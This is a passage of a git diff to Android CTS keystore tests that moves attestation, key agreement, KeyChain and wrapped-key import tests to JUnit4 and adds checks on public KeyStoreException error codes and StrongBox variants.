@@ -126,24 +134,30 @@
         assertEquals(new String(c.doFinal(encrypted)), "hello, world");
     }
 
+    @Test
     public void testKeyStore_ImportWrappedKeyWrappingKeyMissing() throws Exception {
         final String EXPECTED_FAILURE = "Failed to import wrapped key. Keystore error code: 7";
-        String failureMessage = null;
+        KeyStoreException exception = null;
 
         try {
             byte [] fakeWrappedKey = new byte[1];
             importWrappedKey(fakeWrappedKey, WRAPPING_KEY_ALIAS + "_Missing");
         } catch (KeyStoreException e) {
-            failureMessage = e.getMessage();
+            exception = e;
+
         }
 
-        if (failureMessage == null) {
-            fail("Did not hit a failure but expected one");
-        }
+        assertWithMessage("Did not hit a failure but expected one").that(exception).isNotNull();
 
-        assertEquals(failureMessage, EXPECTED_FAILURE);
+        assertThat(exception.getMessage()).isEqualTo(EXPECTED_FAILURE);
+        assertThat(exception.getCause()).isInstanceOf(android.security.KeyStoreException.class);
+        android.security.KeyStoreException ksException =
+                (android.security.KeyStoreException) exception.getCause();
+        assertThat(ksException.getNumericErrorCode()).isEqualTo(
+                android.security.KeyStoreException.ERROR_KEY_DOES_NOT_EXIST);
     }
 
+    @Test
     public void testKeyStore_ImportWrappedKey_3DES() throws Exception {
       if (!TestUtils.supports3DES()) {
           return;
@@ -190,6 +204,7 @@
         assertEquals(new String(c.doFinal(encrypted)), "hello, world");
     }
 
+    @Test
     public void testKeyStore_ImportWrappedKey_3DES_StrongBox() throws Exception {
       if (!TestUtils.supports3DES()) {
           return;
@@ -234,6 +249,7 @@
         }
     }
 
+    @Test
     public void testKeyStore_ImportWrappedKey_AES_StrongBox() throws Exception {
         if (TestUtils.hasStrongBox(getContext())) {
             random.setSeed(0);
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportedKey.java b/tests/tests/keystore/src/android/keystore/cts/ImportedKey.java
deleted file mode 100644
index b6c868f..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/ImportedKey.java
+++ /dev/null
@@ -1,150 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.keystore.cts;
-
-import java.security.Key;
-import java.security.KeyPair;
-
-import javax.crypto.SecretKey;
-
-public class ImportedKey {
-    private final boolean mSymmetric;
-    private final String mAlias;
-    private final KeyPair mOriginalKeyPair;
-    private final KeyPair mKeystoreBackedKeyPair;
-    private final SecretKey mOriginalSecretKey;
-    private final SecretKey mKeystoreBackedSecretKey;
-
-    public ImportedKey(String alias, KeyPair original, KeyPair keystoreBacked) {
-        mAlias = alias;
-        mSymmetric = false;
-        mOriginalKeyPair = original;
-        mKeystoreBackedKeyPair = keystoreBacked;
-        mOriginalSecretKey = null;
-        mKeystoreBackedSecretKey = null;
-    }
-
-    public ImportedKey(String alias, SecretKey original, SecretKey keystoreBacked) {
-        mAlias = alias;
-        mSymmetric = true;
-        mOriginalKeyPair = null;
-        mKeystoreBackedKeyPair = null;
-        mOriginalSecretKey = original;
-        mKeystoreBackedSecretKey = keystoreBacked;
-    }
-
-    public String getAlias() {
-        return mAlias;
-    }
-
-    public Key getOriginalEncryptionKey() {
-        if (mSymmetric) {
-            return mOriginalSecretKey;
-        } else {
-            return mOriginalKeyPair.getPublic();
-        }
-    }
-
-    public Key getOriginalDecryptionKey() {
-        if (mSymmetric) {
-            return mOriginalSecretKey;
-        } else {
-            return mOriginalKeyPair.getPrivate();
-        }
-    }
-
-    public Key getOriginalSigningKey() {
-        if (mSymmetric) {
-            return mOriginalSecretKey;
-        } else {
-            return mOriginalKeyPair.getPrivate();
-        }
-    }
-
-    public Key getOriginalVerificationKey() {
-        if (mSymmetric) {
-            return mOriginalSecretKey;
-        } else {
-            return mOriginalKeyPair.getPublic();
-        }
-    }
-
-    public Key getKeystoreBackedEncryptionKey() {
-        if (mSymmetric) {
-            return mKeystoreBackedSecretKey;
-        } else {
-            return mKeystoreBackedKeyPair.getPublic();
-        }
-    }
-
-    public Key getKeystoreBackedDecryptionKey() {
-        if (mSymmetric) {
-            return mKeystoreBackedSecretKey;
-        } else {
-            return mKeystoreBackedKeyPair.getPrivate();
-        }
-    }
-
-    public Key getKeystoreBackedSigningKey() {
-        if (mSymmetric) {
-            return mKeystoreBackedSecretKey;
-        } else {
-            return mKeystoreBackedKeyPair.getPrivate();
-        }
-    }
-
-    public Key getKeystoreBackedVerificationKey() {
-        if (mSymmetric) {
-            return mKeystoreBackedSecretKey;
-        } else {
-            return mKeystoreBackedKeyPair.getPublic();
-        }
-    }
-
-
-    public KeyPair getOriginalKeyPair() {
-        checkIsKeyPair();
-        return mOriginalKeyPair;
-    }
-
-    public KeyPair getKeystoreBackedKeyPair() {
-        checkIsKeyPair();
-        return mKeystoreBackedKeyPair;
-    }
-
-    public SecretKey getOriginalSecretKey() {
-        checkIsSecretKey();
-        return mOriginalSecretKey;
-    }
-
-    public SecretKey getKeystoreBackedSecretKey() {
-        checkIsSecretKey();
-        return mKeystoreBackedSecretKey;
-    }
-
-    private void checkIsKeyPair() {
-        if (mSymmetric) {
-            throw new IllegalStateException("Not a KeyPair");
-        }
-    }
-
-    private void checkIsSecretKey() {
-        if (!mSymmetric) {
-            throw new IllegalStateException("Not a SecretKey");
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java
index c8d0eae..aa8be3f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java
@@ -16,11 +16,16 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import java.security.GeneralSecurityException;
 import java.security.InvalidKeyException;
 import java.security.KeyFactory;
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
+import java.security.KeyStore;
 import java.security.NoSuchAlgorithmException;
 import java.security.NoSuchProviderException;
 import java.security.spec.InvalidKeySpecException;
@@ -29,27 +34,40 @@
 
 import junit.framework.TestCase;
 
+import org.junit.After;
 import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
 
 import android.content.Context;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyInfo;
-import androidx.test.InstrumentationRegistry;
 
-public class KeyAgreementTest extends TestCase {
+public class KeyAgreementTest {
     private static final String PRIVATE_KEY_ALIAS = "TemporaryPrivateKey";
 
+    @Before
+    @After
+    public void deleteKey() throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        keyStore.deleteEntry(PRIVATE_KEY_ALIAS);
+    }
+
+    @Test
     public void testGenerateSecret_succeeds() throws Exception {
         KeyAgreement ka = getKeyStoreKeyAgreement();
-        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.init(generateEphemeralAndroidKeyPair().getPrivate());
         ka.doPhase(generateEphemeralServerKeyPair().getPublic(), true);
         byte[] sharedSecret = ka.generateSecret();
         assertNotNull(sharedSecret);
     }
 
+    @Test
     public void testGenerateSecret_forTwoParties_returnsSameSharedSecret() throws Exception {
-        KeyPair ourKeyPair = generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS);
+        KeyPair ourKeyPair = generateEphemeralAndroidKeyPair();
         KeyPair theirKeyPair = generateEphemeralServerKeyPair();
 
         KeyAgreement ka = getKeyStoreKeyAgreement();
@@ -66,10 +84,11 @@
         Assert.assertArrayEquals(ourSharedSecret, theirSharedSecret);
     }
 
+    @Test
     public void testGenerateSecret_preservesPrivateKeyAndNothingElse() throws Exception {
         KeyPair otherPartyKey = generateEphemeralServerKeyPair();
         KeyAgreement ka = getKeyStoreKeyAgreement();
-        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.init(generateEphemeralAndroidKeyPair().getPrivate());
         ka.doPhase(otherPartyKey.getPublic(), true);
         byte[] sharedSecret1 = ka.generateSecret();
 
@@ -87,6 +106,7 @@
         Assert.assertArrayEquals(sharedSecret1, sharedSecret2);
     }
 
+    @Test
     public void testInit_withNonPrivateKey_fails() throws Exception {
         KeyAgreement ka = getKeyStoreKeyAgreement();
         try {
@@ -97,6 +117,7 @@
         }
     }
 
+    @Test
     public void testInit_withNonEcKey_fails() throws Exception {
         KeyPairGenerator kpg =
                 KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_RSA, "AndroidKeyStore");
@@ -113,6 +134,7 @@
         }
     }
 
+    @Test
     public void testDoPhase_withoutInitialization_fails() throws Exception {
         KeyAgreement ka = getKeyStoreKeyAgreement();
         try {
@@ -123,9 +145,10 @@
         }
     }
 
+    @Test
     public void testGenerateSecret_withoutSecondPartyKey_fails() throws Exception {
         KeyAgreement ka = getKeyStoreKeyAgreement();
-        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.init(generateEphemeralAndroidKeyPair().getPrivate());
         try {
             ka.generateSecret();
             fail("Should not be able to generate secret without other party key.");
@@ -134,10 +157,11 @@
         }
     }
 
+    @Test
     public void testDoPhase_multiparty_fails() throws Exception {
         // Multi-party key agreement is not supported by Keymint
         KeyAgreement ka = getKeyStoreKeyAgreement();
-        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.init(generateEphemeralAndroidKeyPair().getPrivate());
         try {
             ka.doPhase(generateEphemeralServerKeyPair().getPublic(), false);
             fail("Calling doPhase with lastPhase set to false should fail.");
@@ -153,12 +177,12 @@
         }
     }
 
-    private static KeyPair generateEphemeralAndroidKeyPair(String alias)
-            throws GeneralSecurityException {
+    private static KeyPair generateEphemeralAndroidKeyPair() throws Exception {
         KeyPairGenerator kpg =
                 KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
         kpg.initialize(
-                new KeyGenParameterSpec.Builder(alias, KeyProperties.PURPOSE_AGREE_KEY).build());
+                new KeyGenParameterSpec.Builder(PRIVATE_KEY_ALIAS,
+                        KeyProperties.PURPOSE_AGREE_KEY).build());
 
         KeyPair kp = kpg.generateKeyPair();
 
@@ -172,17 +196,7 @@
             fail("Unable to get KeyInfo for created key.");
         }
 
-        // ECDH is only implemented in Secure Hardware if KeyMint is available.
-        int level = keyInfo.getSecurityLevel();
-        Context context = InstrumentationRegistry.getTargetContext();
-        if (TestUtils.getFeatureVersionKeystore(context) >= Attestation.KM_VERSION_KEYMINT_1) {
-            Assert.assertTrue(
-                level == KeyProperties.SECURITY_LEVEL_TRUSTED_ENVIRONMENT ||
-                level == KeyProperties.SECURITY_LEVEL_UNKNOWN_SECURE);
-        } else {
-            Assert.assertEquals(keyInfo.getSecurityLevel(),
-                    KeyProperties.SECURITY_LEVEL_SOFTWARE);
-        }
+        TestUtils.assertImplementedByKeyMintAfter(keyInfo, Attestation.KM_VERSION_KEYMINT_1);
 
         return kp;
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 15a8543..3e3a3c0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -46,7 +46,6 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 
-import static org.hamcrest.CoreMatchers.containsString;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.either;
@@ -54,10 +53,19 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.hasItems;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
+import android.keystore.cts.Attestation;
+import android.keystore.cts.util.TestUtils;
 import android.os.Build;
 import android.os.SystemProperties;
 import android.platform.test.annotations.RestrictedBuildTest;
@@ -66,23 +74,28 @@
 import android.security.keystore.DeviceIdAttestationException;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
-import android.test.AndroidTestCase;
 import android.util.ArraySet;
 import android.util.Log;
 
-import com.google.common.collect.ImmutableSet;
-
+import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.RequiresDevice;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.compatibility.common.util.CddTest;
+
+import com.google.common.collect.ImmutableSet;
 
 import org.bouncycastle.asn1.x500.X500Name;
 import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
-import java.security.Key;
-import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.NoSuchAlgorithmException;
@@ -100,14 +113,14 @@
 import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
+
 import javax.crypto.KeyGenerator;
-import org.bouncycastle.asn1.x500.X500Name;
-import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
 
 /**
- * Tests for Android KeysStore attestation.
+ * Tests for Android Keystore attestation.
  */
-public class KeyAttestationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class KeyAttestationTest {
 
     private static final String TAG = AndroidKeyStoreTest.class.getSimpleName();
 
@@ -134,6 +147,11 @@
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
     private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testVersionParser() throws Exception {
         // Non-numerics/empty give version 0
         assertEquals(0, parseSystemOsVersion(""));
@@ -158,6 +176,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testEcAttestation() throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
@@ -194,10 +213,11 @@
                                         curves[curveIndex], keySizes[curveIndex],
                                         purposes[purposeIndex], devicePropertiesAttestation);
                             } catch (Throwable e) {
-                                if (devicePropertiesAttestation
-                                        && (e.getCause() instanceof KeyStoreException)
-                                        && KM_ERROR_CANNOT_ATTEST_IDS ==
-                                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                                boolean isIdAttestationFailure =
+                                        (e.getCause() instanceof KeyStoreException)
+                                        && KeyStoreException.ERROR_ID_ATTESTATION_FAILURE
+                                        == ((KeyStoreException) e.getCause()).getNumericErrorCode();
+                                if (devicePropertiesAttestation && isIdAttestationFailure) {
                                     Log.i(TAG, "key attestation with device IDs not supported; "
                                             + "test skipped");
                                     continue;
@@ -215,6 +235,20 @@
         }
     }
 
+    private void assertPublicAttestationError(KeyStoreException keyStoreException,
+            boolean devicePropertiesAttestation) {
+        // Assert public failure information.
+        int errorCode = keyStoreException.getNumericErrorCode();
+        String assertMessage = String.format(
+                "Error code was %d, device properties attestation? %b",
+                errorCode, devicePropertiesAttestation);
+        assertTrue(assertMessage, KeyStoreException.ERROR_INCORRECT_USAGE == errorCode
+                || (devicePropertiesAttestation
+                && KeyStoreException.ERROR_ID_ATTESTATION_FAILURE == errorCode));
+        assertFalse(keyStoreException.isTransientFailure());
+    }
+
+    @Test
     public void testEcAttestation_TooLargeChallenge() throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
@@ -232,10 +266,12 @@
                         (devicePropertiesAttestation
                                 && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
                 );
+                assertPublicAttestationError(cause, devicePropertiesAttestation);
             }
         }
     }
 
+    @Test
     public void testEcAttestation_NoChallenge() throws Exception {
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
@@ -271,9 +307,7 @@
         }
     }
 
-    @RestrictedBuildTest
-    @RequiresDevice
-    public void testEcAttestation_DeviceLocked() throws Exception {
+    private void testEcAttestation_DeviceLocked(Boolean expectStrongBox) throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
         }
@@ -291,11 +325,11 @@
                     .setAttestationChallenge(new byte[128])
                     .setKeyValidityStart(now)
                     .setKeyValidityForOriginationEnd(originationEnd)
-                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+                    .setKeyValidityForConsumptionEnd(consumptionEnd)
+                    .setIsStrongBoxBacked(expectStrongBox);
 
-        if (TestUtils.hasStrongBox(getContext())) {
+        if (expectStrongBox) {
             builder.setDigests(DIGEST_NONE, DIGEST_SHA256);
-            builder.setIsStrongBoxBacked(true);
         } else {
             builder.setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512);
         }
@@ -307,7 +341,7 @@
 
         try {
             Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
-            verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
+            verifyCertificateChain(certificates, expectStrongBox);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
             checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
@@ -316,6 +350,24 @@
         }
     }
 
+    @RestrictedBuildTest
+    @RequiresDevice
+    @Test
+    public void testEcAttestation_DeviceLocked() throws Exception {
+        testEcAttestation_DeviceLocked(false /* expectStrongBox */);
+    }
+
+    @RestrictedBuildTest
+    @RequiresDevice
+    @Test
+    public void testEcAttestation_DeviceLockedStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext()))
+            return;
+
+        testEcAttestation_DeviceLocked(true /* expectStrongBox */);
+    }
+
+    @Test
     public void testAttestationKmVersionMatchesFeatureVersion() throws Exception {
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
@@ -360,6 +412,7 @@
         }
     }
 
+    @Test
     public void testAttestationKmVersionMatchesFeatureVersionStrongBox() throws Exception {
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
@@ -413,6 +466,7 @@
         }
     }
 
+    @Test
     public void testEcAttestation_KeyStoreExceptionWhenRequestingUniqueId() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
@@ -429,6 +483,9 @@
             // Attestation is expected to fail because of lack of permissions.
             KeyStoreException cause = (KeyStoreException) e.getCause();
             assertEquals(KM_ERROR_PERMISSION_DENIED, cause.getErrorCode());
+            // Assert public failure information.
+            assertEquals(KeyStoreException.ERROR_PERMISSION_DENIED, cause.getNumericErrorCode());
+            assertFalse(cause.isTransientFailure());
         } finally {
             KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
             keyStore.load(null);
@@ -436,7 +493,56 @@
         }
     }
 
+    @Test
+    public void testEcAttestation_UniqueIdWorksWithCorrectPermission() throws Exception {
+        String keystoreAlias = "test_key";
+        KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
+                .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                .setAttestationChallenge(new byte[128])
+                .setUniqueIdIncluded(true)
+                .build();
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try (PermissionContext c = TestApis.permissions().withPermission(
+                  "android.permission.REQUEST_UNIQUE_ID_ATTESTATION")) {
+            generateKeyPair(KEY_ALGORITHM_EC, spec);
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            Attestation attestation = Attestation.loadFromCertificate((X509Certificate) certificates[0]);
+            byte[] firstUniqueId = attestation.getUniqueId();
+            assertTrue("UniqueId must not be empty", firstUniqueId.length > 0);
+
+            // The unique id rotates (30 days in the default implementation), and it's possible to
+            // get a spurious failure if the test runs exactly when the rotation occurs. Allow a
+            // single retry, just in case.
+            byte[] secondUniqueId = null;
+            for (int i = 0; i < 2; ++i) {
+                keyStore.deleteEntry(keystoreAlias);
+
+                generateKeyPair(KEY_ALGORITHM_EC, spec);
+                certificates = keyStore.getCertificateChain(keystoreAlias);
+                attestation = Attestation.loadFromCertificate((X509Certificate) certificates[0]);
+                secondUniqueId = attestation.getUniqueId();
+
+                if (Arrays.equals(firstUniqueId, secondUniqueId)) {
+                    break;
+                } else {
+                    firstUniqueId = secondUniqueId;
+                    secondUniqueId = null;
+                }
+            }
+            assertTrue("UniqueIds must be consistent",
+                    Arrays.equals(firstUniqueId, secondUniqueId));
+
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     @RequiresDevice
+    @Test
     public void testRsaAttestation() throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
@@ -503,6 +609,7 @@
         }
     }
 
+    @Test
     public void testRsaAttestation_TooLargeChallenge() throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
@@ -522,10 +629,12 @@
                         (devicePropertiesAttestation
                                 && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
                 );
+                assertPublicAttestationError(cause, devicePropertiesAttestation);
             }
         }
     }
 
+    @Test
     public void testRsaAttestation_NoChallenge() throws Exception {
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
@@ -559,9 +668,7 @@
         }
     }
 
-    @RestrictedBuildTest
-    @RequiresDevice  // Emulators have no place to store the needed key
-    public void testRsaAttestation_DeviceLocked() throws Exception {
+    private void testRsaAttestation_DeviceLocked(Boolean expectStrongBox) throws Exception {
         if (!TestUtils.isAttestationSupported()) {
             return;
         }
@@ -579,11 +686,11 @@
                     .setAttestationChallenge("challenge".getBytes())
                     .setKeyValidityStart(now)
                     .setKeyValidityForOriginationEnd(originationEnd)
-                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+                    .setKeyValidityForConsumptionEnd(consumptionEnd)
+                    .setIsStrongBoxBacked(expectStrongBox);
 
-        if (TestUtils.hasStrongBox(getContext())) {
+        if (expectStrongBox) {
             builder.setDigests(DIGEST_NONE, DIGEST_SHA256);
-            builder.setIsStrongBoxBacked(true);
         } else {
             builder.setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512);
         }
@@ -595,7 +702,7 @@
 
         try {
             Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
-            verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
+            verifyCertificateChain(certificates, expectStrongBox);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
             checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
@@ -604,6 +711,24 @@
         }
     }
 
+    @RestrictedBuildTest
+    @RequiresDevice  // Emulators have no place to store the needed key
+    @Test
+    public void testRsaAttestation_DeviceLocked() throws Exception {
+        testRsaAttestation_DeviceLocked(false /* expectStrongbox */);
+    }
+
+    @RestrictedBuildTest
+    @RequiresDevice  // Emulators have no place to store the needed key
+    @Test
+    public void testRsaAttestation_DeviceLockedStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext()))
+            return;
+
+        testRsaAttestation_DeviceLocked(true /* expectStrongbox */);
+    }
+
+    @Test
     public void testAesAttestation() throws Exception {
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
@@ -627,6 +752,7 @@
         }
     }
 
+    @Test
     public void testHmacAttestation() throws Exception {
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
@@ -656,9 +782,11 @@
                 testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
                         paddings, devicePropertiesAttestation);
             } catch (Throwable e) {
-                if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
-                        && KM_ERROR_CANNOT_ATTEST_IDS ==
-                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                boolean isIdAttestationFailure =
+                        (e.getCause() instanceof KeyStoreException)
+                                && KeyStoreException.ERROR_ID_ATTESTATION_FAILURE
+                                == ((KeyStoreException) e.getCause()).getNumericErrorCode();
+                if (devicePropertiesAttestation && isIdAttestationFailure) {
                     Log.i(TAG, "key attestation with device IDs not supported; test skipped");
                     continue;
                 }
@@ -672,12 +800,29 @@
         }
     }
 
+    @Test
     public void testDeviceIdAttestation() throws Exception {
         testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_SERIAL, null);
         testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_IMEI, "Unable to retrieve IMEI");
         testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_MEID, "Unable to retrieve MEID");
     }
 
+    @CddTest(requirement="9.11.4")
+    @Test
+    public void testMandatoryDeviceidAttestation() {
+        // ID attestation is only mandatory on devices that have shipped with T and
+        // above.
+        if (Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.S) {
+            return;
+        }
+        // ID attestation is tested by other tests (outside of this class), including negative
+        // tests that ID attestation is failing if the platform does not declare support.
+        // Hence, it's safe to only test here that the feature is supported.
+        PackageManager pm = getContext().getPackageManager();
+        assertThat("As of Android T, devices must support ID attestation",
+                pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ID_ATTESTATION),is(true));
+    }
+
     @SuppressWarnings("deprecation")
     private void testRsaAttestation(byte[] challenge, boolean includeValidityDates, int keySize,
             int purposes, String[] paddingModes, boolean devicePropertiesAttestation)
@@ -1076,9 +1221,9 @@
 
     @SuppressWarnings("unchecked")
     private void checkAttestationSecurityLevelDependentParams(Attestation attestation) {
-        assertThat("Attestation version must be 1, 2, 3, 4 or 100",
+        assertThat("Attestation version must be one of: {1, 2, 3, 4, 100, 200}",
                 attestation.getAttestationVersion(),
-                either(is(1)).or(is(2)).or(is(3)).or(is(4)).or(is(100)));
+                either(is(1)).or(is(2)).or(is(3)).or(is(4)).or(is(100)).or(is(200)));
 
         AuthorizationList teeEnforced = attestation.getTeeEnforced();
         AuthorizationList softwareEnforced = attestation.getSoftwareEnforced();
@@ -1092,7 +1237,7 @@
                         attestation.getKeymasterSecurityLevel(),
                         is(KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT));
                 assertThat(attestation.getKeymasterVersion(),
-                        either(is(2)).or(is(3)).or(is(4)).or(is(41)).or(is(100)));
+                        either(is(2)).or(is(3)).or(is(4)).or(is(41)).or(is(100)).or(is(200)));
 
                 checkRootOfTrust(attestation, false /* requireLocked */);
                 assertThat(teeEnforced.getOsVersion(), is(systemOsVersion));
@@ -1121,9 +1266,6 @@
                         + attestation.getAttestationSecurityLevel());
                 break;
         }
-
-        assertNull("Software-enforced list must not contain root of trust",
-                softwareEnforced.getRootOfTrust());
     }
 
     private void checkDeviceLocked(Attestation attestation) {
@@ -1161,7 +1303,9 @@
         assertTrue("Verified boot key is only " + rootOfTrust.getVerifiedBootKey().length +
                    " bytes long", rootOfTrust.getVerifiedBootKey().length >= 32);
         if (requireLocked) {
-            assertTrue(rootOfTrust.isDeviceLocked());
+            final String unlockedDeviceMessage = "The device's bootloader must be locked. This may "
+                    + "not be the default for pre-production devices.";
+            assertTrue(unlockedDeviceMessage, rootOfTrust.isDeviceLocked());
             checkEntropy(rootOfTrust.getVerifiedBootKey());
             assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
         }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
index 77cde44..1d3d02f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
@@ -16,21 +16,39 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.security.KeyChain;
 import android.security.KeyChainException;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import java.util.concurrent.CountDownLatch;
 
-public class KeyChainTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class KeyChainTest {
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testIsKeyAlgorithmSupported_RequiredAlgorithmsSupported() throws Exception {
         assertFalse("DSA must not be supported", KeyChain.isKeyAlgorithmSupported("DSA"));
         assertTrue("EC must be supported", KeyChain.isKeyAlgorithmSupported("EC"));
         assertTrue("RSA must be supported", KeyChain.isKeyAlgorithmSupported("RSA"));
     }
 
+    @Test
